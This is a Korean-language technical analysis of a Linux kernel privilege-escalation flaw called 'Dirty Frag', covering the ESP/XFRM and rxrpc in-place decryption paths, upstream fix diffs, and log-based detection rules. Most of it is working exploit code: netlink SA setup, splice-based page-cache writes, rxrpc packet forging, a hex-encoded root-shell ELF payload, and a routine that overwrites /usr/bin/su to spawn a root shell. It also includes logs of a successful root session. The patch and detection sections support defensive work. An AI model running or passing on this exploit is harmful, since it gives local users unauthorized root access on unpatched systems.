Linux 루트 권한 획득 취약점 Dirty Frag 분석(CVE-2026-43284+CVE-2026-43500)

static int esp_input(struct xfrm_state *x, struct sk_buff *skb) { [...] if (!skb_cloned(skb)) { // [1] 지점: skb가 비선형이 아닐 때 if (!skb_is_nonlinear(skb)) { nfrags = 1; goto skip_cow; } // [2] 지점: 비선형이지만 frag_list가 없을 때 else if (!skb_has_frag_list(skb)) { nfrags = skb_shinfo(skb)->nr_frags; nfrags++; goto skip_cow; // <= 여기서 COW를 건너뜁니다. } } err = skb_cow_data(skb, 0, &trailer); [...]

static int crypto_authenc_esn_decrypt(struct aead_request *req) { [...] /* 시퀀스 번호의 상위 비트를 끝으로 이동시킴 */ scatterwalk_map_and_copy(tmp, src, 0, 8, 0); if (src == dst) { scatterwalk_map_and_copy(tmp, dst, 4, 4, 1); // [3] 지점: 4바이트 STORE 발생 scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1); dst = scatterwalk_ffwd(areq_ctx->dst, dst, 4); [...]

static void esp_input_set_header(struct sk_buff *skb, __be32 *seqhi) { [...] if ((x->props.flags & XFRM_STATE_ESN)) { esph = skb_push(skb, 4); *seqhi = esph->spi; esph->spi = esph->seq_no; // 사용자가 지정한 seq_hi 값이 여기에 들어갑니다. esph->seq_no = XFRM_SKB_CB(skb)->seq.input.hi; } }

unshare(CLONE_NEWUSER | CLONE_NEWNET); write_proc("/proc/self/setgroups", "deny"); write_proc("/proc/self/uid_map", "0 <real_uid> 1"); write_proc("/proc/self/gid_map", "0 <real_gid> 1"); ioctl(s, SIOCSIFFLAGS, &(struct ifreq){ .ifr_name="lo", .ifr_flags=IFF_UP|IFF_RUNNING });

struct xfrm_replay_state_esn esn = { .bmp_len = 1, .seq = 100, .replay_window = 32, .seq_hi = patch_seqhi, /* 페이지 캐시에 기록될 4바이트 값 */ }; put_attr(nlh, XFRMA_REPLAY_ESN_VAL, &esn, sizeof(esn) + 4);

uint8_t hdr[24]; *(uint32_t *)(hdr + 0) = htonl(spi); /* 청크별 SPI */ *(uint32_t *)(hdr + 4) = htonl(SEQ_VAL); /* 와이어 seq_no_lo */ memset(hdr + 8, 0xCC, 16); /* IV (값은 무관) */ vmsplice(pfd[1], &(struct iovec){hdr, 24}, 1, 0); splice(file_fd, &(off_t){i*4}, pfd[1], NULL, 16, SPLICE_F_MOVE); splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE);

udp_rcv(skb) xfrm4_udp_encap_rcv(sk, skb) xfrm_input(skb, IPPROTO_ESP, spi, 0) esp_input(x, skb) pskb_may_pull(skb, sizeof(esp_hdr) + ivlen) if (!skb_cloned(skb) && !skb_has_frag_list(skb)) // 취약한 분기: 페이지 P를 담은 frag 보존 goto skip_cow; esp_input_set_header(skb, seqhi) skb_push(skb, 4); esph->seq_no = XFRM_SKB_CB(skb)->seq.input.hi; skb_to_sgvec(skb, sg, 0, skb->len) aead_request_set_crypt(req, sg, sg, elen+ivlen, iv) crypto_aead_decrypt(req) crypto_authenc_esn_decrypt(req) scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, /*out=*/1) memcpy(page_address(P) + i*4, &tmp[1], 4); // 4바이트 STORE 발생: 페이지 P[i*4..i*4+3] = patch_seqhi

diff --git a/net/ipv4/esp4.c b/net/ipv4/esp4.c index 6dfc0bcde..6a5febbdb 100644 --- a/net/ipv4/esp4.c +++ b/net/ipv4/esp4.c @@ -873,7 +873,8 @@ static int esp_input(struct xfrm_state *x, struct sk_buff *skb) nfrags = 1; goto skip_cow; - } else if (!skb_has_frag_list(skb)) { + } else if (!skb_has_frag_list(skb) && + !skb_has_shared_frag(skb)) { // frag_list가 없더라도 shared_frag가 있다면 skip_cow를 하지 못하게 막음 nfrags = skb_shinfo(skb)->nr_frags; nfrags++; diff --git a/net/ipv4/ip_output.c b/net/ipv4/ip_output.c index e4790cc7b..5bcd73cbd 100644 --- a/net/ipv4/ip_output.c +++ b/net/ipv4/ip_output.c @@ -1233,6 +1233,8 @@ static int __ip_append_data(struct sock *sk, if (err < 0) goto error; copy = err; + if (!(flags & MSG_NO_SHARED_FRAGS)) + skb_shinfo(skb)->flags |= SKBFL_SHARED_FRAG; wmem_alloc_delta += copy; } else if (!zc) { int i = skb_shinfo(skb)->nr_frags; diff --git a/net/ipv6/esp6.c b/net/ipv6/esp6.c index 9f7531373..9c06c5a14 100644 --- a/net/ipv6/esp6.c +++ b/net/ipv6/esp6.c @@ -915,7 +915,8 @@ static int esp6_input(struct xfrm_state *x, struct sk_buff *skb) nfrags = 1; goto skip_cow; - } else if (!skb_has_frag_list(skb)) { + } else if (!skb_has_frag_list(skb) && + !skb_has_shared_frag(skb)) { nfrags = skb_shinfo(skb)->nr_frags; nfrags++; diff --git a/net/ipv6/ip6_output.c b/net/ipv6/ip6_output.c index 7e92909ab..1f2a33fbe 100644 --- a/net/ipv6/ip6_output.c +++ b/net/ipv6/ip6_output.c @@ -1794,6 +1794,8 @@ static int __ip6_append_data(struct sock *sk, if (err < 0) goto error; copy = err; + if (!(flags & MSG_NO_SHARED_FRAGS)) + skb_shinfo(skb)->flags |= SKBFL_SHARED_FRAG; // 데이터 추가 시 공유 플래그를 강제로 세팅하여 이후 ESP 단계에서 감지되게 함 wmem_alloc_delta += copy; } else if (!zc) { int i = skb_shinfo(skb)->nr_frags;

static int rxkad_verify_packet_1(struct rxrpc_call *call, struct sk_buff *skb, rxrpc_seq_t seq, struct skcipher_request *req) { [...] /* skbuff를 제자리에서 복호화합니다. * TODO: 우리는 정말로 타겟 버퍼로 직접 복호화하기를 원합니다. */ sg_init_table(sg, ARRAY_SIZE(sg)); ret = skb_to_sgvec(skb, sg, sp->offset, 8); if (unlikely(ret < 0)) return ret; /* 복호화를 새로 시작합니다. */ memset(&iv, 0, sizeof(iv)); skcipher_request_set_sync_tfm(req, call->conn->rxkad.cipher); skcipher_request_set_callback(req, 0, NULL, NULL); // [4] 지점: src와 dst SGL이 동일(sg, sg)하여 제자리(in-place) 연산이 됨 skcipher_request_set_crypt(req, sg, sg, 8, iv.x); // [5] 지점: 8바이트 STORE(쓰기)가 발생 ret = crypto_skcipher_decrypt(req);

// Ca에 대해 Ka와 Pa(결과물)를 찾음 ("::") find_K(Ca, /*pred*/ check_pa, &Ka, &Pa); // Cb의 실제 값은 이전 결과물 Pa의 일부와 원본 Cb의 일부가 섞인 형태 memcpy(Cb_actual, Pa+2, 6); memcpy(Cb_actual+6, Cb+6, 2); find_K(Cb_actual, check_pb, &Kb, &Pb); /* "0:" */ // Cc 역시 이전 결과물 Pb와 원본 Cc를 조합하여 실제 암호문 계산 memcpy(Cc_actual, Pb+2, 6); memcpy(Cc_actual+6, Cc+6, 2); find_K(Cc_actual, check_pc, &Kc, &Pc); /* "0:GGGGGG:" */

build_rxrpc_v1_token(buf, K); /* session_key = K */ syscall(SYS_add_key, "rxrpc", desc, buf, n, KEY_SPEC_PROCESS_KEYRING);

struct { struct rxrpc_wire_header hdr; struct rxkad_challenge ch; } __attribute__((packed)) c = {0}; c.hdr.type = RXRPC_PACKET_TYPE_CHALLENGE; c.hdr.securityIndex = 2; c.hdr.epoch = htonl(epoch); c.hdr.cid = htonl(cid); c.ch.version = htonl(2); c.ch.nonce = htonl(0xDEADBEEFu); c.ch.min_level = htonl(1); sendto(udp_srv, &c, sizeof(c), 0, /*client*/, ...);

compute_csum_iv(epoch, cid, /*sec_ix=*/2, K, csum_iv); compute_cksum(cid, callN, /*seq=*/1, K, csum_iv, &cksum_h); struct rxrpc_wire_header mal = { .type = RXRPC_PACKET_TYPE_DATA, .flags = RXRPC_LAST_PACKET, .securityIndex = 2, .epoch = htonl(epoch), .cid = htonl(cid), .callNumber = htonl(callN), .seq = htonl(1), .cksum = htons(cksum_h), .serviceId = htons(svc_id), };

int p[2]; pipe(p); vmsplice(p[1], &(struct iovec){&mal, sizeof(mal)}, 1, 0); splice(passwd_fd, &(loff_t){splice_off}, p[1], NULL, 8, SPLICE_F_NONBLOCK); connect(udp_srv, /*client*/, ...); splice(p[0], NULL, udp_srv, NULL, sizeof(mal) + 8, 0);

recvmsg(rxsk_cli, &m, 0) rxrpc_recvmsg -> rxrpc_recvmsg_data -> rxrpc_verify_data rxkad_verify_packet -> rxkad_verify_packet_1 skb_to_sgvec(skb, sg, sp->offset=28, 8) skcipher_request_set_crypt(req, sg, sg, 8, iv.x) // src=dst (제자리 연산) crypto_skcipher_decrypt -> crypto_pcbc_decrypt // 실제 쓰기 발생: 페이지 P의 지정된 오프셋에 fcrypt_decrypt 결과 기록 fcrypt_decrypt(page_address(P) + splice_off, ct, K)

diff --git a/net/rxrpc/call_event.c b/net/rxrpc/call_event.c index fdd683261226..6c924ef55208 100644 --- a/net/rxrpc/call_event.c +++ b/net/rxrpc/call_event.c @@ -334,7 +334,7 @@ bool rxrpc_input_call_event(struct rxrpc_call *call) if (sp->hdr.type == RXRPC_PACKET_TYPE_DATA && sp->hdr.securityIndex != 0 && - skb_cloned(skb)) { + (skb_cloned(skb) || skb->data_len)) { /* Unshare the packet so that it can be * modified by in-place decryption. */ diff --git a/net/rxrpc/conn_event.c b/net/rxrpc/conn_event.c index a2130d25aaa9..eab7c5f2517a 100644 --- a/net/rxrpc/conn_event.c +++ b/net/rxrpc/conn_event.c @@ -245,7 +245,7 @@ static int rxrpc_verify_response(struct rxrpc_connection *conn, { int ret; - if (skb_cloned(skb)) { + if (skb_cloned(skb) || skb->data_len) { /* Copy the packet if shared so that we can do in-place * decryption. */

/* * 192-byte minimal x86_64 root-shell ELF. * _start at 0x400078: * setgid(0); setuid(0); setgroups(0, NULL); * execve("/bin/sh", NULL, ["TERM=xterm", NULL]); * PT_LOAD covers 0xb8 bytes (the actual content) at vaddr 0x400000 R+X. * * Setting TERM in the new shell's env silences the * "tput: No value for $TERM" / "test: : integer expected" noise * /etc/bash.bashrc and friends emit when TERM is unset. * * Code (from offset 0x78): * // 권한상승(공격자가 현재 프로세스의 권한을 root로 승격하는 과정 * 31 ff xor edi, edi * 31 f6 xor esi, esi * 31 c0 xor eax, eax * b0 6a mov al, 0x6a ; setgid * 0f 05 syscall * b0 69 mov al, 0x69 ; setuid * 0f 05 syscall * b0 74 mov al, 0x74 ; setgroups * 0f 05 syscall * // TERM=xtream 설정을 통해 /etc/bash.bashrc 같은 시스템 설정 파일들이 실행될 때 환경 변수 $TERM이 없으면 오류를 출력하는 것을 방지 * 6a 00 push 0 ; envp[1] = NULL * 48 8d 05 12 00 00 00 lea rax, [rip+0x12] ; rax = "TERM=xterm" * 50 push rax ; envp[0] * 48 89 e2 mov rdx, rsp ; rdx = envp * 48 8d 3d 12 00 00 00 lea rdi, [rip+0x12] ; rdi = "/bin/sh" * 31 f6 xor esi, esi ; rsi = NULL (argv) * // 앞서 준비한 환경변수와 함께 실자 관리자 쉘인 /bin/sh를 실행 * 6a 3b 58 push 0x3b ; pop rax ; rax = 59 (execve) * 0f 05 syscall ; execve("/bin/sh",NULL,envp) * // 파일의 마지막 부분(프셋 0xa5 이후)에는 코드가 참조하는 실제 문자열들이 저장 * "TERM=xterm\0" (offset 0xa5..0xaf) * "/bin/sh\0" (offset 0xb0..0xb7) */ static const uint8_t shell_elf[PAYLOAD_LEN] = { 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a, 0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12, 0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6, 0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00, 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, };

static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi) { int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); if (sk < 0) return -1; struct sockaddr_nl nl = { .nl_family = AF_NETLINK }; if (bind(sk, (struct sockaddr*)&nl, sizeof(nl)) < 0) { close(sk); return -1; } char buf[4096] = {0}; struct nlmsghdr *nlh = (struct nlmsghdr *)buf; nlh->nlmsg_type = XFRM_MSG_NEWSA; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_pid = getpid(); nlh->nlmsg_seq = 1; nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct xfrm_usersa_info)); struct xfrm_usersa_info *xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh); xs->id.daddr.a4 = inet_addr("127.0.0.1"); xs->id.spi = htonl(spi); // 패킷을 식별할 ID xs->id.proto = IPPROTO_ESP; xs->saddr.a4 = inet_addr("127.0.0.1"); xs->family = AF_INET; xs->mode = XFRM_MODE_TRANSPORT; xs->replay_window = 0; xs->reqid = 0x1234; xs->flags = XFRM_STATE_ESN; // 확장 시퀀스 번호(ESN)모드 활성화(취약점 유발) xs->lft.soft_byte_limit = (uint64_t)-1; xs->lft.hard_byte_limit = (uint64_t)-1; xs->lft.soft_packet_limit = (uint64_t)-1; xs->lft.hard_packet_limit = (uint64_t)-1; xs->sel.family = AF_INET; xs->sel.prefixlen_d = 32; xs->sel.prefixlen_s = 32; xs->sel.daddr.a4 = inet_addr("127.0.0.1"); xs->sel.saddr.a4 = inet_addr("127.0.0.1"); { char alg_buf[sizeof(struct xfrm_algo_auth) + 32]; memset(alg_buf, 0, sizeof(alg_buf)); struct xfrm_algo_auth *aa = (struct xfrm_algo_auth *)alg_buf; strncpy(aa->alg_name, "hmac(sha256)", sizeof(aa->alg_name)-1); aa->alg_key_len = 32 * 8; aa->alg_trunc_len = 128; memset(aa->alg_key, 0xAA, 32); put_attr(nlh, XFRMA_ALG_AUTH_TRUNC, alg_buf, sizeof(alg_buf)); } { char alg_buf[sizeof(struct xfrm_algo) + 16]; memset(alg_buf, 0, sizeof(alg_buf)); struct xfrm_algo *ea = (struct xfrm_algo *)alg_buf; strncpy(ea->alg_name, "cbc(aes)", sizeof(ea->alg_name)-1); ea->alg_key_len = 16 * 8; memset(ea->alg_key, 0xBB, 16); put_attr(nlh, XFRMA_ALG_CRYPT, alg_buf, sizeof(alg_buf)); } { struct xfrm_encap_tmpl enc; memset(&enc, 0, sizeof(enc)); enc.encap_type = UDP_ENCAP_ESPINUDP; enc.encap_sport = htons(ENC_PORT); enc.encap_dport = htons(ENC_PORT); enc.encap_oa.a4 = 0; put_attr(nlh, XFRMA_ENCAP, &enc, sizeof(enc)); } { char esn_buf[sizeof(struct xfrm_replay_state_esn) + 4]; memset(esn_buf, 0, sizeof(esn_buf)); struct xfrm_replay_state_esn *esn = (struct xfrm_replay_state_esn *)esn_buf; // patch_seqhi는 공격자가 파일에 쓰고 싶은 4바이트 데이터로 커널은 이것을 단순한 '번호로'생각하고 메모리에 저장 esn->bmp_len = 1; esn->oseq = 0; esn->seq = REPLAY_SEQ; esn->oseq_hi = 0; esn->seq_hi = patch_seqhi; esn->replay_window = 32; put_attr(nlh, XFRMA_REPLAY_ESN_VAL, esn_buf, sizeof(esn_buf)); } if (send(sk, nlh, nlh->nlmsg_len, 0) < 0) { close(sk); return -1; } // 넷링크 메시지를 통해 커널에 SA 등록 char rbuf[4096]; int n = recv(sk, rbuf, sizeof(rbuf), 0); if (n < 0) { close(sk); return -1; } struct nlmsghdr *rh = (struct nlmsghdr *)rbuf; if (rh->nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *e = NLMSG_DATA(rh); if (e->error) { close(sk); return -1; } } close(sk); return 0; }

static int do_one_write(const char *path, off_t offset, uint32_t spi) { int sk_recv = socket(AF_INET, SOCK_DGRAM, 0); if (sk_recv < 0) return -1; int one = 1; setsockopt(sk_recv, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); struct sockaddr_in sa_d = { .sin_family = AF_INET, .sin_port = htons(ENC_PORT), .sin_addr = { inet_addr("127.0.0.1") }, }; if (bind(sk_recv, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) { close(sk_recv); return -1; } int encap = UDP_ENCAP_ESPINUDP; if (setsockopt(sk_recv, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0) { close(sk_recv); return -1; } int sk_send = socket(AF_INET, SOCK_DGRAM, 0); if (sk_send < 0) { close(sk_recv); return -1; } if (connect(sk_send, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) { close(sk_send); close(sk_recv); return -1; } int file_fd = open(path, O_RDONLY); // [1] 타겟파일(/usr/bin/su)을 읽기 전용으로 오픈 if (file_fd < 0) { close(sk_send); close(sk_recv); return -1; } int pfd[2]; //[2] 파이프 생성(데이터 전달 통로) if (pipe(pfd) < 0) { close(file_fd); close(sk_send); close(sk_recv); return -1; } uint8_t hdr[24]; *(uint32_t*)(hdr + 0) = htonl(spi); *(uint32_t*)(hdr + 4) = htonl(SEQ_VAL); memset(hdr + 8, 0xCC, 16); struct iovec iov_h = { .iov_base = hdr, .iov_len = sizeof(hdr) }; if (vmsplice(pfd[1], &iov_h, 1, 0) != (ssize_t)sizeof(hdr)) { close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1; } off_t off = offset; ssize_t s = splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE); // [4] splice: 파일의 페이지 캐시(메모리)를 파이프에 연결 (복사가 아닌 주소 연결)하고 이 시점에 패킷 내부에 파일의 실제 메모리 주소가 위치 if (s != 16) { close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1; } s = splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE); // [5] 전송: 파이프의 내용을 네트워크 소켓으로 쏘고 이 커널의 수신엔진(esp_input)이 이 패킷을 처리 시작 /* still proceed regardless of splice rc — kernel may have already * decrypted the page in the time between splice and recv */ usleep(150 * 1000); close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return s == 40 ? 0 : -1; }

static int corrupt_su(void) { setup_userns_netns(); // 1단계: 환경 준비 for (int i = 0; i < PAYLOAD_LEN / 4; i++) { // [1] 쉘코드를 4바이트씩 쪼개어 장전 uint32_t seqhi = ... shell_elf[i] ...; add_xfrm_sa(spi, seqhi); // 2단계: SA 등록 // [2] 파일 오프셋을 옮겨가며 쓰기 실행 do_one_write(TARGET_PATH, off, spi); // 3단계: 트리거 } } int su_lpe_main(int argc, char **argv) { if (fork() == 0) { corrupt_su(); // 자식 프로세스에서 파일 오염 실행 _exit(0); } wait(NULL); // 작업 완료 대기 // [4] 이제 /usr/bin/su는 루트 셸을 실행하는 악성코드가 되었습니다. // 이를 실행하여 루트 권한을 얻습니다. execl(TARGET_PATH, "su", NULL); }

2026-05-08T12:17:09.406225+09:00 exdubuntutest su: pam_unix(su-l:auth): user [root] has blank password; authenticated without it 2026-05-08T12:17:09.409377+09:00 exdubuntutest su[1977]: (to root) igloo on pts/1 2026-05-08T12:17:09.409496+09:00 exdubuntutest su[1977]: pam_unix(su-l:session): session opened for user root(uid=0) by igloo(uid=1000)

May 8 12:34:10 localhost kernel: alg: No test for echainiv(authencesn(hmac(sha256),cbc(aes))) (echainiv(authencesn(hmac(sha256-avx2),cbc-aes-aesni))) May 8 12:34:17 localhost kernel: process 'su' launched '/bin/sh' with NULL argv: empty string added

type=MAC_IPSEC_EVENT msg=audit(1778214512.072:331): op=SAD-add auid=1000 ses=5 subj=kernel src=127.0.0.1 dst=127.0.0.1 spi=3735928369(0xdeadbe31) res=1AUID="igloo"

/* 테스트 결과 Ubuntu의 /var/log/auth.log에서 확인됨. */ AND sublog = 'auth' /* blank password를 통한 root 전환 시도 */ msg like '%user [root] has blank password; authenticated without it'

/* Linux Kernel에서 확인됨 */ proc_name = 'kernel' /* 프로세스 su, pkexec 등이 될 수 있고, Shell같은 경우 /bin/sh, /bin/bash가 될 수 있음. */ msg like '%process \'%\' launched \'%\' with NULL argv: empty string added'

/* /var/log/audit/audit.log에서 탐지한다. Rocky Linux에서 audit.rule은 기본값 */ sublog = 'audit' /* IPSEC 이벤트 발생 */ AND type = 'MAC_IPSEC_EVENT' /* 2. 일반 사용자(root가 아닌)의 가짜 IPsec 터널(루프백) 생성 시도 탐지 */ /* auid가 0이 아닌 1 이상의 숫자(일반 유저) 매칭 */ AND regexp(msg, 'op=SAD-add auid=[1-9][0-9]* .+ subj=kernel src=127\.0\.0\.1 dst=127\.0\.0\.1')